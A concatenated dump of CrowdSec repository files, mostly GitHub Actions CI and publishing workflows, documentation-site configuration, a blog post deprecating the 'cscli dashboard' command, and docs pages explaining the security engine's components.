      - name: Ensure we can do a dynamic build
        run: |
          sudo apt -qq -y -o=Dpkg::Use-Pty=0 install build-essential libre2-dev
          make build

      - name: Ensure we can do a static build
        run: |
          make clean build BUILD_STATIC=1

      - name: Unit tests
        run: |
          go install gotest.tools/gotestsum@v1.12.3
          # make the repo read-only, with the exception of coverage output
          touch coverage.out
          chmod -R a-w .
          chmod u+w coverage.out
          make testcover
          # ignore changes to codecov.yml
          if [[ $(git status --porcelain -- . ":(exclude).github/codecov.yml") ]]; then
            echo "Error: Unit tests should not create or alter files inside the repository. Please use the appropriate testing helpers or otherwise temporary locations."
            git diff --name-only
            exit 1
          fi
          chmod -R u+w .

      # check if some component stubs are missing
      - name: "Build profile: minimal"
        run: |
          make build BUILD_PROFILE=minimal

      # check that the freebsd build is not broken
      - name: "Build target: freebsd"
        run: |
          make build BUILD_STATIC=1 BUILD_RE2_WASM=1 BUILD_SQLITE=modernc GOOS=freebsd

      - name: Upload unit coverage to Codecov
        uses: codecov/codecov-action@303a32d7a59b442fa8d48b6a1cc6825c09c847a5 # v7.1.1
        with:
          files: coverage.out
          flags: unit-linux
          token: ${{ secrets.CODECOV_TOKEN }}

      - name: golangci-lint
        uses: golangci/golangci-lint-action@ba0d7d2ec06a0ea1cb5fa41b2e4a3ab91d21278a # v9.3.0
        with:
          version: v2.13
          args: --issues-exit-code=1 --timeout 10m
          only-new-issues: false

---

## File: .github/workflows/governance-bot.yaml

# .github/workflow/governance.yml

on:
  pull_request_target:
    types: [ synchronize, opened, labeled, unlabeled ]
  issues:
    types: [ opened, labeled, unlabeled ]
  issue_comment:
    types: [ created ]

# You can use permissions to modify the default permissions granted to the GITHUB_TOKEN, 
# adding or removing access as required, so that you only allow the minimum required access. 
permissions:
  contents: read
  issues: write
  pull-requests: write
  statuses: write
  checks: write

jobs:
  governance:
    name: Governance
    runs-on: ubuntu-latest
    steps:
      # Semantic versioning, lock to different version: v2, v2.0 or a commit hash.
      - uses: BirthdayResearch/oss-governance-bot@3abd2d1fd2376ba9990fbc795e7a4c54254e9c61 # v4.0.0
        with:
          # You can use a PAT to post a comment/label/status so that it shows up as a user instead of github-actions
          github-token: ${{secrets.GITHUB_TOKEN}} # optional, default to '${{ github.token }}'
          config-path: .github/governance.yml # optional, default to '.github/governance.yml'

---

## File: .github/workflows/publish-docker-master.yml

name: (push-master) Publish latest Docker images

on:
  push:
    branches: [ master ]
    paths:
      - 'pkg/**'
      - 'cmd/**'
      - 'build/mk/**'
      - 'build/docker/Dockerfile'
      - 'build/docker/Dockerfile.debian'
      - 'build/docker/docker_start.sh'
      - 'build/docker/config.yaml'
      - '.github/workflows/publish-docker-master.yml'
      - '.github/workflows/publish-docker.yml'
      - 'go.mod'
      - 'go.sum'
      - 'Makefile'

permissions:
  contents: read
  packages: write # push images to ghcr.io

jobs:
  dev-alpine:
    uses: ./.github/workflows/publish-docker.yml
    # inherit so the reusable job's `docker` environment secrets resolve
    secrets: inherit
    with:
      platform: linux/amd64
      crowdsec_version: ""
      image_version: dev
      latest: false
      push: true
      slim: false
      debian: false

  dev-debian:
    uses: ./.github/workflows/publish-docker.yml
    secrets: inherit
    with:
      platform: linux/amd64
      crowdsec_version: ""
      image_version: dev
      latest: false
      push: true
      slim: false
      debian: true

---

## File: .github/workflows/publish-docker-release.yml

name: (manual) Publish Docker images

on:
  workflow_dispatch:
    inputs:
      image_version:
        required: true
      crowdsec_version:
        required: true
      latest:
        default: false
        required: true
      push:
        default: false
        required: true

permissions:
  contents: read
  packages: write # push images to ghcr.io

jobs:
  alpine:
    uses: ./.github/workflows/publish-docker.yml
    # inherit so the reusable job's `docker` environment secrets resolve
    secrets: inherit
    with:
      image_version: ${{ github.event.inputs.image_version }}
      crowdsec_version: ${{ github.event.inputs.crowdsec_version }}
      latest: ${{ github.event.inputs.latest == 'true' }}
      push: ${{ github.event.inputs.push == 'true' }}
      slim: true
      debian: false
      platform: "linux/amd64,linux/386,linux/arm64,linux/arm/v7,linux/arm/v6"

  debian:
    uses: ./.github/workflows/publish-docker.yml
    secrets: inherit
    with:
      image_version: ${{ github.event.inputs.image_version }}
      crowdsec_version: ${{ github.event.inputs.crowdsec_version }}
      latest: ${{ github.event.inputs.latest == 'true' }}
      push: ${{ github.event.inputs.push == 'true' }}
      slim: false
      debian: true
      platform: "linux/amd64,linux/386,linux/arm64"

---

## File: .github/workflows/publish-docker.yml

name: (sub) Publish Docker images

on:
  workflow_call:
    inputs:
      environment:
        required: false
        type: string
        default: docker
      platform:
        required: true
        type: string
      image_version:
        required: true
        type: string
      crowdsec_version:
        required: true
        type: string
      latest:
        required: true
        type: boolean
      push:
        required: true
        type: boolean
      slim:
        required: true
        type: boolean
      debian:
        required: true
        type: boolean

permissions:
  contents: read
  packages: write # push images to ghcr.io

jobs:
  push_to_registry:
    name: Push Docker image to registries
    runs-on: crowdsec-large-runner
    environment: ${{ inputs.environment }}
    steps:
      - name: Check out the repo
        uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          fetch-depth: 0
          persist-credentials: false

      - name: Set up QEMU
        uses: docker/setup-qemu-action@99012661954931238ded8c8b007157a8430204e1 # v4.4.0

      - name: Set up Docker Buildx
        uses: docker/setup-buildx-action@594f3bf4285d9ea8dc53c9a0c9c4092420091003 # v4.4.0
        with:
          buildkitd-config: .github/buildkit.toml

      - name: Login to DockerHub
        uses: docker/login-action@dbcb813823bdd20940b903addbd779551569679f # v4.6.0
        with:
          username: ${{ secrets.DOCKER_USERNAME }}
          password: ${{ secrets.DOCKER_PASSWORD }}

      - name: Login to GitHub Container Registry
        uses: docker/login-action@dbcb813823bdd20940b903addbd779551569679f # v4.6.0
        with:
          registry: ghcr.io
          username: ${{ github.repository_owner }}
          password: ${{ secrets.GITHUB_TOKEN }}

      - name: Prepare (slim)
        if: ${{ inputs.slim }}
        id: slim
        run: |
          DOCKERHUB_IMAGE=${{ secrets.DOCKER_USERNAME }}/crowdsec
          GHCR_IMAGE=ghcr.io/${{ github.repository_owner }}/crowdsec
          VERSION=${{ inputs.image_version }}
          DEBIAN=${{ inputs.debian && '-debian' || '' }}
          TAGS="${DOCKERHUB_IMAGE}:${VERSION}-slim${DEBIAN},${GHCR_IMAGE}:${VERSION}-slim${DEBIAN}"
          if [[ ${{ inputs.latest }} == true ]]; then
            TAGS=$TAGS,${DOCKERHUB_IMAGE}:slim${DEBIAN},${GHCR_IMAGE}:slim${DEBIAN}
          fi
          echo "tags=${TAGS}" >> $GITHUB_OUTPUT
          echo "created=$(date -u +'%Y-%m-%dT%H:%M:%SZ')" >> $GITHUB_OUTPUT

      - name: Prepare (full)
        id: full
        run: |
          DOCKERHUB_IMAGE=${{ secrets.DOCKER_USERNAME }}/crowdsec
          GHCR_IMAGE=ghcr.io/${{ github.repository_owner }}/crowdsec
          VERSION=${{ inputs.image_version }}
          DEBIAN=${{ inputs.debian && '-debian' || '' }}
          TAGS="${DOCKERHUB_IMAGE}:${VERSION}${DEBIAN},${GHCR_IMAGE}:${VERSION}${DEBIAN}"
          if [[ ${{ inputs.latest }} == true ]]; then
            TAGS=$TAGS,${DOCKERHUB_IMAGE}:latest${DEBIAN},${GHCR_IMAGE}:latest${DEBIAN}
          fi
          echo "tags=${TAGS}" >> $GITHUB_OUTPUT
          echo "created=$(date -u +'%Y-%m-%dT%H:%M:%SZ')" >> $GITHUB_OUTPUT

      - name: Build and push image (slim)
        if: ${{ inputs.slim }}
        uses: docker/build-push-action@c3c9e263c25d99ce0380d002d59b67737d91b0dc # v7.4.0
        with:
          context: .
          file: ./build/docker/Dockerfile${{ inputs.debian && '.debian' || '' }}
          push: ${{ inputs.push }}
          tags: ${{ steps.slim.outputs.tags }}
          target: slim
          platforms: ${{ inputs.platform }}
          labels: |
            org.opencontainers.image.source=${{ github.event.repository.html_url }}
            org.opencontainers.image.created=${{ steps.slim.outputs.created }}
            org.opencontainers.image.revision=${{ github.sha }}
          build-args: |
            BUILD_VERSION=${{ inputs.crowdsec_version }}

      - name: Build and push image (full)
        uses: docker/build-push-action@c3c9e263c25d99ce0380d002d59b67737d91b0dc # v7.4.0
        with:
          context: .
          file: ./build/docker/Dockerfile${{ inputs.debian && '.debian' || '' }}
          push: ${{ inputs.push }}
          tags: ${{ steps.full.outputs.tags }}
          target: full
          platforms: ${{ inputs.platform }}
          labels: |
            org.opencontainers.image.source=${{ github.event.repository.html_url }}
            org.opencontainers.image.created=${{ steps.full.outputs.created }}
            org.opencontainers.image.revision=${{ github.sha }}
          build-args: |
            BUILD_VERSION=${{ inputs.crowdsec_version }}

---

## File: .github/workflows/publish-tarball-release.yml

name: Release

on:
  release:
    types:
      - prereleased

permissions:
  # Use write for: gh release upload
  contents: write

jobs:
  build:
    name: Build and upload binary package
    runs-on: ubuntu-latest
    steps:

      - name: Check out code into the Go module directory
        uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          fetch-depth: 0
          submodules: false
          persist-credentials: false

      - name: "Set up Go"
        uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0
        with:
          go-version-file: go.mod

      - name: Build the binaries
        run: |
          sudo apt -qq -y -o=Dpkg::Use-Pty=0 install build-essential libre2-dev
          make vendor release BUILD_STATIC=1

      - name: Upload to release
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
        run: |
          tag_name="${GITHUB_REF##*/}"
          gh release upload "$tag_name" crowdsec-release.tgz vendor.tgz *-vendor.tar.xz

---

## File: .github/workflows/update_docker_hub_doc.yml

name: (push-master) Update Docker Hub README

on:
  push:
    branches:
      - master
    paths:
      - 'build/docker/README.md'

permissions:
  contents: read

jobs:
  update-docker-hub-readme:
    runs-on: ubuntu-latest
    steps:

      -
        name: Check out the repo
        uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        if: ${{ github.repository_owner == 'crowdsecurity' }}
        with:
          persist-credentials: false

      -
        name: Update docker hub README
        uses: peter-evans/dockerhub-description@1b9a80c056b620d92cedb9d9b5a223409c68ddfa # v5.0.0
        if: ${{ github.repository_owner == 'crowdsecurity' }}
        with:
          username: ${{ secrets.DOCKER_USERNAME }}
          password: ${{ secrets.DOCKER_PASSWORD }}
          short-description: "Crowdsec - An open-source, lightweight agent to detect and respond to bad behaviours."
          readme-filepath: "./build/docker/README.md"

---

## File: .github/workflows/version.yml

name: Deploy to Cloudflare Pages (Direct Upload)

on:
  release:
    types: [published]
  workflow_dispatch:
    inputs:
      version:
        required: false
        type: string
      date:
        required: false
        type: string

permissions:
  contents: read

jobs:
  deploy:
    runs-on: ubuntu-latest
    if: |
      github.event_name == 'workflow_dispatch' ||
      (github.event_name == 'release' && github.event.release.prerelease == false)
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false

      - uses: actions/setup-node@949feb2413d6458794dcd2491c4babbbce0c15c1 # v7.1.0
        with:
          node-version: 20

      - name: Pick CrowdSec version
        id: pick_version
        env:
          INPUT_VERSION: ${{ inputs.version }}
          INPUT_DATE: ${{ inputs.date }}
          GH_TOKEN: ${{ github.token }}
        run: |
          set -euo pipefail

          if [ -n "${INPUT_VERSION:-}" ] && [ -z "${INPUT_DATE:-}" ]; then
            echo "Error: If version is provided, date must also be provided." >&2
            exit 1
          fi

          if [ -n "${INPUT_VERSION:-}" ]; then
            TAG="${INPUT_VERSION}"
            DATE="${INPUT_DATE}"
          else
            # latest non-prerelease tag
            JSON_CONTENT="$(gh release list --json tagName,publishedAt --exclude-pre-releases --limit 1)"
            TAG="$(echo "$JSON_CONTENT" | jq -r '.[0].tagName')"
            DATE="$(echo "$JSON_CONTENT" | jq -r '.[0].publishedAt')"
          fi

          echo "tag=$TAG" >> "$GITHUB_OUTPUT"
          echo "date=$DATE" >> "$GITHUB_OUTPUT"

      - name: Write dist artifact
        env:
          TAG: ${{ steps.pick_version.outputs.tag }}
          DATE: ${{ steps.pick_version.outputs.date }}
        run: |
          set -euo pipefail
          mkdir -p ./dist
          printf '{"name":"%s", "tag_name":"%s", "published_at":"%s"}\n' "$TAG" "$TAG" "$DATE" > ./dist/latest
          cat ./dist/latest

      # Deploy the build output directory (adjust ./dist to your framework output)
      - name: Publish to Cloudflare Pages
        uses: cloudflare/wrangler-action@953926a2e2182532811c01a25e53647d93bf07c0 # v4.1.3
        with:
          apiToken: ${{ secrets.CLOUDFLARE_API_TOKEN }}
          accountId: ${{ secrets.CLOUDFLARE_ACCOUNT_ID }}
          command: pages deploy ./dist --project-name version --branch main



================================================
SYMLINK: .github/workflows/.yamllint -> .yamllint
================================================

## 2. Official Technical Reference & Guides (crowdsecurity/crowdsec-docs)

## File: README.md

## Crowdsec documentation

This repository holds the documentation for the [crowdsec project](https://github.com/crowdsecurity/crowdsec).

Online version of this documentation is available here: https://doc.crowdsec.net/

The documentation is built using [Docusaurus](https://docusaurus.io/), a modern static website generator.

## Pre-requisites

- [nvm](https://github.com/nvm-sh/nvm) (Node Version Manager)
- Node.js stable (install via nvm: `nvm install stable && nvm use stable`)
- VSCode with recommended extensions installed (see `.vscode/extensions.json`)

## Installation

```console
nvm use stable
cd crowdsec-docs
npm install
```

## Local Development

```console
nvm use stable
cd crowdsec-docs
npm start
# or equivalently
npx docusaurus start
```

This command starts a local development server at http://localhost:3000. Most changes are reflected live without having to restart the server.

## Build

```console
npm run build
```

This command generates static content into the `build` directory and can be served using any static contents hosting service.
you can also use the `npm run serve` command to test the build locally.

## Linting and Formatting

This project uses [Biomes](https://biomejs.dev/) for linting and formatting. You can run the following commands:

```console
npm run lint
npm run format
```

---

## File: amplify.yml

version: 1
frontend:
  phases:
    build:
      commands:
        - nvm use 20
        - cd crowdsec-docs
        - npm install
        - npm run build
  artifacts:
    baseDirectory: crowdsec-docs/build
    files:
      - "**/*"
  cache:
    paths:
      - crowdsec-docs/node_modules/**/*

---

## File: biome.json

{
	"root": true,
	"$schema": "https://biomejs.dev/schemas/2.3.2/schema.json",
	"vcs": { "enabled": false, "clientKind": "git", "useIgnoreFile": false },
	"files": {
		"ignoreUnknown": false,
		"includes": [
			"crowdsec-docs/**/*.ts",
			"crowdsec-docs/**/*.tsx",
			"crowdsec-docs/**/*.css",
			"!**/node_modules",
			"!crowdsec-docs/plugins",
			"!crowdsec-docs/build",
			"!**/.docusaurus"
		]
	},
	"formatter": {
		"enabled": true,
		"formatWithErrors": false,
		"indentStyle": "tab",
		"indentWidth": 4,
		"lineEnding": "lf",
		"lineWidth": 140,
		"attributePosition": "auto",
		"bracketSameLine": false,
		"bracketSpacing": true,
		"expand": "auto",
		"useEditorconfig": true
	},
	"linter": {
		"enabled": true,
		"rules": {
			"recommended": true,
			"style": {
				"useImportType": "off"
			},
			"complexity": {
				"noImportantStyles": "off"
			},
			"suspicious": {
				"noUnknownAtRules": "off"
			}
		}
	},
	"javascript": {
		"formatter": {
			"jsxQuoteStyle": "double",
			"quoteProperties": "asNeeded",
			"trailingCommas": "es5",
			"semicolons": "always",
			"arrowParentheses": "always",
			"bracketSameLine": false,
			"quoteStyle": "double",
			"attributePosition": "auto",
			"bracketSpacing": true
		}
	},
	"html": { "formatter": { "selfCloseVoidElements": "always" } },
	"css": {
		"parser": {
			"tailwindDirectives": true
		},
		"formatter": {
			"enabled": true,
			"indentStyle": "tab",
			"indentWidth": 4,
			"lineEnding": "lf",
			"lineWidth": 140
		}
	},
	"assist": {
		"enabled": true,
		"actions": { "source": { "organizeImports": "on" } }
	}
}

---

## File: customHttp.yml

# Markdown copies exist for LLM tools (llms.txt); keep them out of search indexes so they don't compete with the HTML pages.
# Headers defined here replace any custom headers configured in the Amplify console.
customHeaders:
  - pattern: "**/*.md"
    headers:
      - key: X-Robots-Tag
        value: noindex
  - pattern: /llms.txt
    headers:
      - key: X-Robots-Tag
        value: noindex
  - pattern: /llms-full.txt
    headers:
      - key: X-Robots-Tag
        value: noindex

---

## File: crowdsec-docs/components.json

{
    "$schema": "https://ui.shadcn.com/schema.json",
    "tailwind": {
      "config": "tailwind.config.js",
      "css": "src/css/custom.css",
      "baseColor": "gray",
      "prefix": "",
      "cssVariables": true
    },
    "rsc": true,
    "aliases": {
        "utils": "@site/src/utils",
        "components": "@site/src/components",
        "ui": "@site/src/ui",
        "hooks": "@site/src/hooks",
        "lib": "@site/src/lib"
    },
    "style": "default",
    "iconLibrary": "lucide"
  }

---

## File: crowdsec-docs/package.json

{
    "name": "crowdsec-docs",
    "version": "0.0.0",
    "private": true,
    "scripts": {
        "docusaurus": "docusaurus",
        "start": "docusaurus start",
        "build": "docusaurus build",
        "swizzle": "docusaurus swizzle",
        "deploy": "docusaurus deploy",
        "clear": "docusaurus clear",
        "serve": "docusaurus serve",
        "lint": "biome check",
        "typecheck": "tsc",
        "format": "biome format",
        "migrate": "biome migrate --write",
        "write-translations": "docusaurus write-translations",
        "write-heading-ids": "docusaurus write-heading-ids"
    },
    "dependencies": {
        "@coreui/icons": "^3.0.1",
        "@coreui/icons-react": "2.3.0",
        "@docusaurus/core": "^3.9.2",
        "@docusaurus/faster": "^3.9.2",
        "@docusaurus/plugin-client-redirects": "^3.9.2",
        "@docusaurus/preset-classic": "^3.9.2",
        "@docusaurus/theme-common": "^3.9.2",
        "@docusaurus/theme-mermaid": "^3.9.2",
        "@docusaurus/theme-search-algolia": "^3.9.2",
        "@emotion/react": "^11.14.0",
        "@emotion/styled": "^11.14.0",
        "@mdx-js/react": "^3.1.1",
        "@mui/icons-material": "^7.3.4",
        "@mui/material": "^7.3.4",
        "@mui/x-date-pickers": "^8.16.0",
        "@radix-ui/react-popover": "^1.1.15",
        "@radix-ui/react-slot": "^1.2.3",
        "@radix-ui/react-tooltip": "^1.2.8",
        "@signalwire/docusaurus-plugin-llms-txt": "^1.2.2",
        "animate.css": "^4.1.1",
        "class-variance-authority": "^0.7.1",
        "clsx": "^2.1.1",
        "docusaurus-plugin-zooming": "^1.0.0",
        "lucide-react": "^0.552.0",
        "material-react-table": "^3.2.1",
        "prism-react-renderer": "^2.4.1",
        "react": "^19.2.1",
        "react-dom": "^19.2.1",
        "swagger-ui-react": "^5.30.3",
        "tailwind-merge": "^3.3.1",
        "tailwindcss-animate": "^1.0.7"
    },
    "devDependencies": {
        "@biomejs/biome": "^2.3.2",
        "@docusaurus/module-type-aliases": "^3.9.2",
        "@docusaurus/tsconfig": "^3.9.2",
        "@docusaurus/types": "^3.9.2",
        "autoprefixer": "^10.4.21",
        "postcss": "^8.5.1",
        "tailwindcss": "^3.4.18",
        "typescript": "^5.9.3"
    },
    "resolutions": {
        "@types/react": "^19.2.0"
    },
    "browserslist": {
        "production": [
            ">0.5%",
            "not dead",
            "not op_mini all"
        ],
        "development": [
            "last 1 chrome version",
            "last 1 firefox version",
            "last 1 safari version"
        ]
    }
}

---

## File: crowdsec-docs/tsconfig.json

{
	"extends": "@docusaurus/tsconfig",
	"compilerOptions": {
		"baseUrl": "."
	},
	"exclude": [".docusaurus", "build"]
}

---

## File: crowdsec-docs/versions.json

[
  "v1.8",
  "v1.7",
  "v1.6"
]

---

## File: crowdsec-docs/blog/2024-06-11-cscli_dashboard_deprecation.md

---
slug: cscli_dashboard_deprecation
title: Cscli dashboard deprecation
authors: crowdsec
tags: [dashboard, Metabase]
---

This blog article will outline the steps being taken to deprecate the `cscli dashboard` command out of the `cscli` binary. The `cscli dashboard` command was used to setup a containerized Metabase dashboard.



## Why deprecate `cscli dashboard` ?

There were multiple factors which led to the decision to deprecate the `cscli dashboard` command:

The `cscli dashboard` command was initially offered a way to visualize the data collected by your local CrowdSec instance. However, we found the tools to be too limited and not user-friendly enough. So we started working on the [CrowdSec Console](https://app.crowdsec.net/) which is a more powerful and user-friendly tool to visualize your data.

Some users using `cscli dashboard` command did not understand what was happening "under the hood" and were not proactively maintaining or securing their dashboards. This led to recent [CVE's](https://www.cvedetails.com/vulnerability-list/vendor_id-19475/product_id-51231/Metabase-Metabase.html?page=1&order=1&trc=16&sha=d16c0f1d7c9eb6761cdc711c7e1caee1e2a2c079) not being patched in a timely manner since the version was tied to the `cscli` binary and users were publicly exposing their dashboards.

## What will happen to the `cscli dashboard` command ?

The `cscli dashboard` command will be deprecated starting from version `1.7.0` of the CrowdSec package. Moving forward, users will have the following alternatives for viewing metrics and insights:

* CrowdSec Console (officially supported)
* Prometheus with Grafana
* VictoriaMetrics with Grafana

Please note that **only the CrowdSec Console is officially supported by the CrowdSec team**. The other options are provided for flexibility but are community-driven and require self-management.

## What should I do now?

Currently we recommend that you firstly check which version of Metabase that is currently deployed on your system to ensure that you are not vulnerable to any CVE's. You can do this by running the following command:

```bash
docker ps -a
```

This will show you the running containers on your system. Look for the Metabase container and check its version. If you are running a version of Metabase that is vulnerable to a CVE, we recommend updating to the latest version of CrowdSec and re-running the `cscli dashboard` command to refresh the Metabase dashboard.

**If you are already on version `1.7.0`, you will need to manually remove the container, as the `cscli dashboard` command is no longer available.**

---

## File: crowdsec-docs/blog/authors.yml

sbz:
    name: Sofian Brabez
    url: https://github.com/sbz

crowdsec:
    name: Crowdsec Team
    url: https://github.com/crowdsecurity
    image_url: /img/crowdsec_logo.png

---

## File: crowdsec-docs/docs/concepts.md

---
id: concepts
title: Concepts
sidebar_position: 1
---


## Global overview

This page defines the core CrowdSec concepts and how the components interact. It focuses on how detection is done, where data is stored, and where remediation is enforced.

## Security Engine

> The Security Engine is the CrowdSec software you install (an IDS: Intrusion Detection System).
> It detects threats and produces alerts. The Local API can turn alerts into decisions using [profiles](/local_api/profiles/intro.md).
> Threat prevention (blocking) is enforced by Remediation Components (bouncers).
> Internally, the Security Engine is made of two main components: the Log Processor (detection) and the Local API (storage and decision distribution).

A Security Engine can run [standalone](intro.mdx#architecture) (Log Processor + Local API on the same host) or in a [distributed setup](intro.mdx#deployment-options) (multiple Log Processors sending alerts to a shared Local API). This lets you adapt CrowdSec to your infrastructure and constraints.

In a distributed setup, detection content (collections/parsers/scenarios) runs on the Log Processor machines, while the Local API focuses on storing data and serving decisions. See the [multi-server setup guide](/u/user_guides/multiserver_setup) for a concrete deployment pattern.

### Log Processor (LP)

> The Log Processor is the part of the Security Engine in charge of detecting malicious behavior based on your logs and HTTP traffic.

The Log Processor (abbreviated as `LP`) detects malicious behavior in two main ways:
- It [acquires](/log_processor/data_sources/introduction.md) logs, [parses](/log_processor/parsers/introduction.mdx) and [enriches](/log_processor/parsers/enricher.md) events, then matches them against [scenarios](/log_processor/scenarios/introduction.mdx).
- It receives [HTTP requests](/log_processor/data_sources/appsec.md) and matches them against [AppSec rules](/appsec/intro.md).

When a scenario or an AppSec rule is triggered, the Log Processor sends an alert to the `LAPI`.

Related documentation:
- Installation and updates of detection content: [Collections](/log_processor/collections/introduction.md), [Hub management](/cscli/cscli_hub.md)
- Add context to alerts (visible in `cscli`/Console): [Alert context](/log_processor/alert_context/intro.md)
- AppSec request inspection and compatible integrations: [AppSec](/appsec/intro.md)

### Local API (LAPI)

> The Local API is the part of the Security Engine that stores alerts/decisions and acts as the middleman between Log Processors, Remediation Components, and the Central API.

The Local API (abbreviated as `LAPI`) has several roles:
- Receive alerts from Log Processors and (optionally) create decisions based on configured [profiles](/local_api/profiles/intro.md).
- Expose decisions to [Remediation Components](/u/bouncers/intro) so they can enforce them.
- Interact with the Central API to share signals and receive community blocklists.

For implementation details, see:
- Local API configuration for distributed setups: [Local API configuration](/local_api/configuration.md)
- How bouncers consume decisions: [Bouncers API](/local_api/bouncers-api.md)
- Authentication methods: [Local API authentication](/local_api/authentication.md)
- Notifications: [Notification plugins](/local_api/notification_plugins/intro.md)
- Storage: [Databases](/local_api/database.md)
- Controlling exemptions: [AllowLists](/local_api/allowlists.md)


## Glossary

Quick definitions of terms used throughout the documentation and in tools like `cscli`:

- **Collections**: bundles of parsers, scenarios, and other items installed together. See [Collections](/log_processor/collections/introduction.md) and [Hub management](/cscli/cscli_hub.md).
- **Scenarios**: behavior detections evaluated by the Log Processor. See [Scenarios](/log_processor/scenarios/introduction.mdx).
- **AppSec rules**: WAF rules evaluated by the AppSec component. See [AppSec](/appsec/intro.md).
- **Alerts**: records created when a scenario/AppSec rule triggers; stored in the Local API. See [`cscli alerts`](/cscli/cscli_alerts.md).
- **Decisions**: remediation instructions (for example `ban`, sometimes other types depending on your setup) created by Local API [profiles](/local_api/profiles/intro.md) or manually via `cscli`; consumed by bouncers. See [`cscli decisions`](/cscli/cscli_decisions.md) and [Bouncers API](/local_api/bouncers-api.md).


## Remediation Components (Bouncers)

> The Remediation Components (also called `Bouncers`) are external components in charge of enforcing decisions.

Remediation Components rely on the Local API to receive decisions about malicious IPs to be blocked *(or other remediation types such as CAPTCHA, supported by some bouncers).*    
*Note that they also support [CrowdSec's Blocklist as a Service](/u/integrations/intro).*

Those decisions can come from detections made by the `LP` or from blocklists.

Remediation Components leverage existing parts of your infrastructure to block malicious IPs where it matters most (firewall, reverse proxy, web server, ...). You can find them on our [Remediation Components Hub](https://app.crowdsec.net/hub/remediation-components).

## Central API (CAPI)

> The Central API (CAPI) serves as the gateway for network participants to connect and communicate with CrowdSec's network.

The Central API (abbreviated as `CAPI`) receives attack signals from participating Security Engines and signal partners. It then redistributes curated community decisions (the [Community Blocklist](/central_api/blocklist.md)).

The Central API is also at the heart of CrowdSec centralized [blocklist services](/u/blocklists/intro).

For details about what data is sent (and when), see the [Central API introduction](/central_api/intro.md).
If you want to disable sharing to the Central API, see [how to disable the Central API](/u/troubleshooting/security_engine#how-to-disable-the-central-api).

## Console

> The CrowdSec Console is a web-based interface for reporting, alerting, and management across your CrowdSec products (from your fleet of Security Engines to CTI-related actions).

The [Console](https://app.crowdsec.net) allows you to:
- [Manage alerts](/u/console/alerts/intro) from your security stack.
- [Manage decisions](/u/console/decisions/decisions_intro) in real time.
- View and use [blocklists and integrations](/u/blocklists/intro).
- Manage your API keys ([CTI API](/u/cti_api/intro), [Service API](/u/console/service_api/getting_started)).

To connect an instance to the Console, see [Console enrollment](/u/getting_started/post_installation/console) and the `cscli` command reference: [`cscli console enroll`](/cscli/cscli_console_enroll.md).

## Example: from a log line to a block

This is a typical flow for a log-based scenario (for example, SSH brute-force):

0. **Install detection content**: you typically install a [collection](/log_processor/collections/introduction.md) from the Hub (parsers + scenarios) using `cscli` (see [Hub management](/cscli/cscli_hub.md)).
1. **Acquire**: the Log Processor reads your service logs via an [acquisition configuration](/log_processor/data_sources/introduction.md) (for example, a file tail on `/var/log/auth.log`).
2. **Parse + enrich**: [parsers](/log_processor/parsers/introduction.mdx) extract fields (source IP, service, status, ...) and [enrichers](/log_processor/parsers/enricher.md) add context (GeoIP/ASN, ...).
3. **Detect**: a [scenario](/log_processor/scenarios/introduction.mdx) correlates events over time (for example, many failed logins from the same IP) and triggers an **alert**.
4. **Store + decide**: the Log Processor sends the alert to the `LAPI`. The `LAPI` applies your [profiles](/local_api/profiles/intro.md) to create a **decision** (for example, `ban` for a given duration).
5. **Enforce**: a [Remediation Component (bouncer)](/u/bouncers/intro) pulls decisions from the `LAPI` and enforces them where it matters (firewall, reverse proxy, web server, ...).

---

## File: crowdsec-docs/docs/contact_team.md

---
id: contact_team
title: Contact the team
sidebar_position: 10
---

If you want to contact us using non-public media, you can contact us on `support` AT `crowdsec` DOT `net` with the following gpg-key :

```
-----BEGIN PGP PUBLIC KEY BLOCK-----

mDMEaq0NzRYJKwYBBAHaRw8BAQdAcCMFX9xPVyIdLrgttvro55FYqJHQo2K2TX60
/NUl7zW0J0Nyb3dkU2VjIHN1cHBvcnQgPHN1cHBvcnRAY3Jvd2RzZWMubmV0PoiW
BBMWCgA+AhsDBQsJCAcCBhUKCQgLAgQWAgMBAh4BAheAFiEEPgZxlkMs0krP8A0U
Cd1SadZuRsMFAmqtDroFCQeEzu0ACgkQCd1SadZuRsMPoAEAl50Xc84qjq+zQOls
q3fqcEbuS4sGa4NRC3yaFV432mIBALrwhFjATB4bIzeeyo+eKsuYYFR6JiFE87Ix
DqwfT78OuDgEaq0NzRIKKwYBBAGXVQEFAQEHQPoVA0kxEtye+tIf0J7oO3AiKsh8
6rqp+IazF4OjoclGAwEIB4h+BBgWCgAmAhsMFiEEPgZxlkMs0krP8A0UCd1SadZu
RsMFAmqtDtsFCQeEzw4ACgkQCd1SadZuRsNtiAD/YJqMIUA2qgVgoLFuxWjuqwdR
Tt/TyfWZxiLwOIjtE8QA/RcuILMZj5IXc+PlCFt5ebKrlDpQwgbPYjqTna0iFMEA
=EtLP
-----END PGP PUBLIC KEY BLOCK-----
```

---

## File: crowdsec-docs/docs/intro.mdx

---
title: Introduction
id: intro
---

import useBaseUrl from "@docusaurus/useBaseUrl"
import AcademyPromo from "@site/src/components/academy-promo"

# Security Engine Overview

The [CrowdSec Security Engine](https://github.com/crowdsecurity/crowdsec) is an open-source, lightweight security engine that detects and blocks malicious actors. It analyzes logs and HTTP requests using behavior-based patterns called scenarios.

CrowdSec is modular: it provides [behavior-based detection](https://app.crowdsec.net/hub/collections), including [AppSec rules](https://app.crowdsec.net/hub/waf-rules), and optional [Remediation Components](https://app.crowdsec.net/hub/remediation-components) that enforce blocks.


    
        
    

&nbsp; &nbsp;

CrowdSec is crowdsourced: when you participate, you share the attacks you detect and block. In return, the Security Engine automatically downloads a curated list of validated attackers (the community blocklist), so you can take action sooner against known threats.

## Main Features

In addition to the core "detect and react" mechanism, CrowdSec is committed to several other key aspects:

-   **Easy Installation**: Get started quickly on all [supported platforms](/u/getting_started/intro).
-   **Simplified Daily Operations**: Manage and maintain your setup from the [CrowdSec Console](http://app.crowdsec.net) (Web UI) or with the [cscli command-line tool](/cscli/cscli.md).
